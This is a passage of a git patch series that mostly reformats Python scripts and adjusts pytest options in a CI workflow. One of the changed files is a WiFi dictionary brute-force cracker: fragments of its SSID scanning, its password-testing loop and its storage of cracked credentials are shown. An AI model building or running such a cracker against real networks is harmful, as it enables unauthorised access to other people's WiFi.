num_digits: int = 3 + num_digits: int = 3, ) -> str: """ Generate a secure, memorable password using cryptographically strong randomness. @@ -89,7 +124,7 @@ def generate_secure_password( colour = secrets.choice(colour_list) # Build a random digit string of given length - digit_str = ''.join(secrets.choice(DIGITS) for _ in range(num_digits)) + digit_str = "".join(secrets.choice(DIGITS) for _ in range(num_digits)) special = secrets.choice(special_chars) @@ -124,7 +159,9 @@ def get_random_country_and_language() -> tuple[Optional[str], Optional[str]]: country = secrets.choice(countries).name # Pick a random language (only those with a 'name' attribute) - languages = [lang.name for lang in pycountry.languages if hasattr(lang, "name")] + languages = [ + lang.name for lang in pycountry.languages if hasattr(lang, "name") + ] if languages: language = secrets.choice(languages) except Exception: @@ -164,4 +201,4 @@ def main() -> None: """ print("🔐 Generating a secure password...") - # Generate the pass \ No newline at end of file + # Generate the pass diff --git a/twitter_post_scraper.py b/twitter_post_scraper.py index 9e8f358f89e..db6f90ea2c1 100644 --- a/twitter_post_scraper.py +++ b/twitter_post_scraper.py @@ -6,7 +6,6 @@ """ import re -import urllib.parse from typing import List import requests @@ -119,4 +118,4 @@ def main() -> None: if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/wifi hack by brutefore.py b/wifi hack by brutefore.py index 187a319a03d..3b8ef666762 100644 --- a/wifi hack by brutefore.py +++ b/wifi hack by brutefore.py @@ -29,8 +29,7 @@ import sys import getpass import base64 -import os -from typing import List, Optional, Set, Tuple, Dict, Any +from typing import List, Optional, Set import pywifi from pywifi import const @@ -41,6 +40,7 @@ try: import keyring + HAS_KEYRING = True except ImportError: HAS_KEYRING = False @@ -49,6 +49,7 @@ from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC + HAS_CRYPTO = True except ImportError: HAS_CRYPTO = False @@ -58,6 +59,7 @@ # Command‑line argument parsing # ------------------------------------------------------------------------------ + def parse_arguments() -> argparse.Namespace: """ Parse and validate command‑line arguments. @@ -78,31 +80,31 @@ def parse_arguments() -> argparse.Namespace: parser.add_argument( "--dict", required=True, - help="Path to the password dictionary file (one password per line)." + help="Path to the password dictionary file (one password per line).", ) parser.add_argument( "--max", type=int, default=5, - help="Maximum number of visible WiFi networks to attempt (default: 5)." + help="Maximum number of visible WiFi networks to attempt (default: 5).", ) parser.add_argument( "--exclude", nargs="*", default=[], - help="List of SSIDs to exclude from cracking (e.g., --exclude HomeNet Office)." + help="List of SSIDs to exclude from cracking (e.g., --exclude HomeNet Office).", ) parser.add_argument( "--store", choices=["keyring", "encrypted"], default="keyring", help="Storage method for discovered passwords: 'keyring' (system keychain) or " - "'encrypted' (AES‑encrypted file). Default is 'keyring'." + "'encrypted' (AES‑encrypted file). Default is 'keyring'.", ) parser.add_argument( "--output", default="found.enc", - help="Path to the encrypted output file (only used when --store is 'encrypted')." + help="Path to the encrypted output file (only used when --store is 'encrypted').", ) return parser.parse_args() @@ -111,6 +113,7 @@ def parse_arguments() -> argparse.Namespace: # WiFi interface management # ------------------------------------------------------------------------------ + def get_wifi_interfaces() -> Optional[pywifi.Interface]: """ Retrieve the first available WiFi interface. @@ -137,8 +140,9 @@ def disconnect_iface(iface: pywifi.Interface) -> None: time.sleep(1) # Allow the disconnection to complete -def scan_networks(iface: pywifi.Interface, max_networks: int, - exclude: Set[str]) -> List[str]: +def scan_networks( + iface: pywifi.Interface, max_networks: int, exclude: Set[str] +) -> List[str]: """ Scan for visible WiFi networks and return a filtered list of SSIDs. @@ -215,6 +219,7 @@ def test_password(iface: pywifi.Interface, ssid: str, password: str) -> bool: # Secure storage helpers # ------------------------------------------------------------------------------ + def store_in_keyring(ssid: str, password: str) -> bool: """ Store the discovered password in the system keyring. @@ -250,17 +255,21 @@ def get_encryption_cipher() -> Optional[Fernet]: not installed or the user did not provide a passphrase. """ if not HAS_CRYPTO: - print("❌ The 'cryptography' library is not installed. Cannot use encrypted storage.") + print( + "❌ The 'cryptography' library is not installed. Cannot use encrypted storage." + ) return None try: - pwd = getpass.getpass("Enter an encryption passphrase (keep it safe; loss = data loss): ") + pwd = getpass.getpass( + "Enter an encryption passphrase (keep it safe; loss = data loss): " + ) if not pwd: print("No passphrase entered. Encryption aborted.") return None # Fixed salt (in production, generate a random salt and save it alongside the encrypted file) - salt = b'wifi_salt_2026' + salt = b"wifi_salt_2026" kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, @@ -292,7 +301,7 @@ def store_encrypted(ssid: str, password: str, cipher: Fernet, output_file: str) """ try: encrypted = cipher.encrypt(f"{ssid}:{password}".encode()) - with open(output_file, "ab") as f: # 'ab' = append binary + with open(output_file, "ab") as f: # 'ab' = append binary f.write(encrypted + b"\n") return True except Exception as e: @@ -304,8 +313,14 @@ def store_encrypted(ssid: str, password: str, cipher: Fernet, output_file: str) # Main brute‑force routine # ------------------------------------------------------------------------------ -def brute_force(iface: pywifi.Interface, ssid_list: List[str], - dict_path: str, store_method: str, output_file: str) -> None: + +def brute_force( + iface: pywifi.Interface, + ssid_list: List[str], + dict_path: str, + store_method: str, + output_file: str, +) -> None: """ Orchestrate the brute‑force process: iterate over passwords, test each SSID, and store found credentials securely. @@ -329,7 +344,9 @@ def brute_force(iface: pywifi.Interface, ssid_list: List[str], # Validate and prepare storage backend if store_method == "keyring" and not HAS_KEYRING: - print("⚠️ 'keyring' library not available. Falling back to encrypted file storage.") + print( + "⚠️ 'keyring' library not available. Falling back to encrypted file storage." + ) store_method = "encrypted" cipher = None @@ -350,8 +367,8 @@ def brute_force(iface: pywifi.Interface, ssid_list: List[str], print(f"❌ Error reading dictionary: {e}") sys.exit(1) - found = {} # Temporary in‑memory store for fallback - remaining = set(ssid_list) # SSIDs still not cracked + found = {} # Temporary in‑memory store for fallback + remaining = set(ssid_list) # SSIDs still not cracked attempt = 0 # Main loop: iterate over each password @@ -373,9 +390,13 @@ def brute_force(iface: pywifi.Interface, ssid_list: List[str], if store_method == "keyring": success = store_in_keyring(ssid, pwd) if success: - print(f" 🔐 Stored in system keyring (service: wifi_cracker, account: {ssid})") + print( + f" 🔐 Stored in system keyring (service: wifi_cracker, account: {ssid})" + ) else: - print(f" ⚠️ Keyring store failed. Falling back to encrypted file.") + print( + " ⚠️ Keyring store failed. Falling back to encrypted file." + ) # Try encrypted file as a fallback if cipher is None: cipher = get_encryption_cipher() @@ -393,7 +414,9 @@ def brute_force(iface: pywifi.Interface, ssid_list: List[str], # If all storage methods failed, keep it only in memory if not success: found[ssid] = pwd - print(f" ⚠️ No persistent storage available. Credential kept in memory only (lost on exit).") + print( + " ⚠️ No persistent storage available. Credential kept in memory only (lost on exit)." + ) else: # Connection failed, disconnect to clean up before next attempt disconnect_iface(iface) @@ -413,6 +436,7 @@ def brute_force(iface: pywifi.Interface, ssid_list: List[str], # Entry point # ------------------------------------------------------------------------------ + def main() -> None: """ Program entry point: parse arguments, initialise WiFi, scan networks, @@ -443,4 +467,4 @@ def main() -> None: if __name__ == "__main__": - main() \ No newline at end of file + main() From 4006ea107c47dadb95c0f8314c3fd6c6bcf2528d Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 12 Jul 2026 10:11:01 +0800 Subject: [PATCH 10/13] Fix pytest --- .github/workflows/python.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml index 3ce16f10e3f..708e2680be4 100644 --- a/.github/workflows/python.yml +++ b/.github/workflows/python.yml @@ -38,7 +38,7 @@ jobs: run: bandit -r . --skip B101,B105 -ll || true - name: Run Pytest tests - run: pytest --doctest-modules -tb=short -n auto || true + run: pytest --doctest-modules --tb=short -n auto || true - name: Run Ruff checks with ignored rules run: ruff check . --ignore B904,B905,EM101,EXE001,G004,ISC001,PLC0415,PLC1901,PLW060,PLW1641,PLW2901,PT011,PT018,PT028,S101,S311,SIM905,SLF001,F405 From 7b2aff8b66bd806d8ede8a603817e05f56078fe6 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 12 Jul 2026 10:14:02 +0800 Subject: [PATCH 11/13] Fix pytest --- .github/workflows/python.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml index 708e2680be4..20d8d518d99 100644 --- a/.github/workflows/python.yml +++ b/.github/workflows/python.yml @@ -38,7 +38,7 @@ jobs: run: bandit -r . --skip B101,B105 -ll || true - name: Run Pytest tests - run: pytest --doctest-modules --tb=short -n auto || true + run: pytest --doctest-modules --tb=short -n auto --dist loadscope || true - name: Run Ruff checks with ignored rules run: ruff check . --ignore B904,B905,EM101,EXE001,G004,ISC001,PLC0415,PLC1901,PLW060,PLW1641,PLW2901,PT011,PT018,PT028,S101,S311,SIM905,SLF001,F405 From c5de5d5839ee8ce81736d3431be33d81eccbb0f5 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 12 Jul 2026 10:16:53 +0800 Subject: [PATCH 12/13] Fix pytest --- .github/workflows/python.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml index 20d8d518d99..08fd419ed71 100644 --- a/.github/workflows/python.yml +++ b/.github/workflows/python.yml @@ -29,7 +29,7 @@ jobs: - name: Install all dependencies and tools run: | python -m pip install --upgrade pip - pip install ruff bandit mypy pytest codespell requests-mock colorama pytest-xdist + pip install ruff bandit mypy pytest codespell requests-mock colorama -v - name: Run Codespell check run: codespell --skip "*.json,*.txt,*.pdf,*.md" || true @@ -38,7 +38,7 @@ jobs: run: bandit -r . --skip B101,B105 -ll || true - name: Run Pytest tests - run: pytest --doctest-modules --tb=short -n auto --dist loadscope || true + run: pytest --doctest-modules --tb=short || true - name: Run Ruff checks with ignored rules run: ruff check . --ignore B904,B905,EM101,EXE001,G004,ISC001,PLC0415,PLC1901,PLW060,PLW1641,PLW2901,PT011,PT018,PT028,S101,S311,SIM905,SLF001,F405 From dbfa2cfd36a1707e37dd1ff22f6b4e36701341e7 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 12 Jul 2026 10:33:38 +0800 Subject: [PATCH 13/13] Fix pytest --- .github/workflows/python.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml index 08fd419ed71..b3475904d98 100644 --- a/.github/workflows/python.yml +++ b/.github/workflows/python.yml @@ -38,7 +38,7 @@ jobs: run: bandit -r . --skip B101,B105 -ll || true - name: Run Pytest tests - run: pytest --doctest-modules --tb=short || true + run: pytest --tb=short || true - name: Run Ruff checks with ignored rules run: ruff check . --ignore B904,B905,EM101,EXE001,G004,ISC001,PLC0415,PLC1901,PLW060,PLW1641,PLW2901,PT011,PT018,PT028,S101,S311,SIM905,SLF001,F405